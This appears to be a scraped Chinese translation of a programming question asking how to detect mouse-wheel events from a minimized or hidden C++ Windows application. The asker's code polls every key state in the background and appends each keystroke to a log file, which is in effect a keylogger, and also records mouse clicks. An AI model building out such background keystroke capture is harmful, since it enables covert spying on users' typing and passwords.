我如何检测后台应用程序的窗口上的鼠标滚动事件

我怎样才能检测到从c + +应用程序的窗口滚动和移动事件,即使应用程序本身是不活动的(我的意思是最小化或隐藏)我可以得到键盘事件

for (int i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767){ SaveLogs(i, "log.txt"); wcout << (wchar_t)i; } } 

/// …

 int SaveLogs(int key_stroke, char *file){ if ((key_stroke == 1) || (key_stroke == 2)) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(file, "a+"); /*cout << key_stroke << endl;*/ if (key_stroke == 8) // The numbers stands for the ascii value of a character fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == VK_MENU) //// fprintf(OUTPUT_FILE, "%s", "[ALT]"); else if (key_stroke == VK_PAUSE) //// fprintf(OUTPUT_FILE, "%s", "[PAUSE]"); else if (key_stroke == VK_CAPITAL) //// fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]"); else if (key_stroke == VK_PRIOR) //// fprintf(OUTPUT_FILE, "%s", "[PAGEUP]"); else if (key_stroke == VK_NEXT) //// fprintf(OUTPUT_FILE, "%s", "[PAGEDOWN]"); 

等等…

我也可以检测到鼠标点击

 switch (CheckMouseButtons()){ case 1:wcout << L"[l]"; output << L"[LMB]"; break; case 2:wcout << L"[r]"; output << L"[RMB]"; break; case 3:wcout << L"[m]"; output << L"[MMB]"; break; default: break; } 

 int CheckMouseButtons(){ if ((GetKeyState(VK_LBUTTON) & 0x80) != 0) { if (((GetTickCount() - lastclicktime) / 100) > 1) { lastclicktime = GetTickCount(); lastclick = 1; return 1; } } if ((GetKeyState(VK_RBUTTON) & 0x80) != 0) { if (((GetTickCount() - lastclicktime) / 100) > 1) { lastclicktime = GetTickCount(); lastclick = 2; return 2; } } if ((GetKeyState(VK_MBUTTON) & 0x80) != 0) { if (((GetTickCount() - lastclicktime) / 100) > 1) { lastclicktime = GetTickCount(); lastclick = 3; return 3; } } return 0; 

}

但我不能得到鼠标滚动键事件。 我只需要检测它是否滚动(向上或向下不重要)

Solutions Collecting From Web of "我如何检测后台应用程序的窗口上的鼠标滚动事件"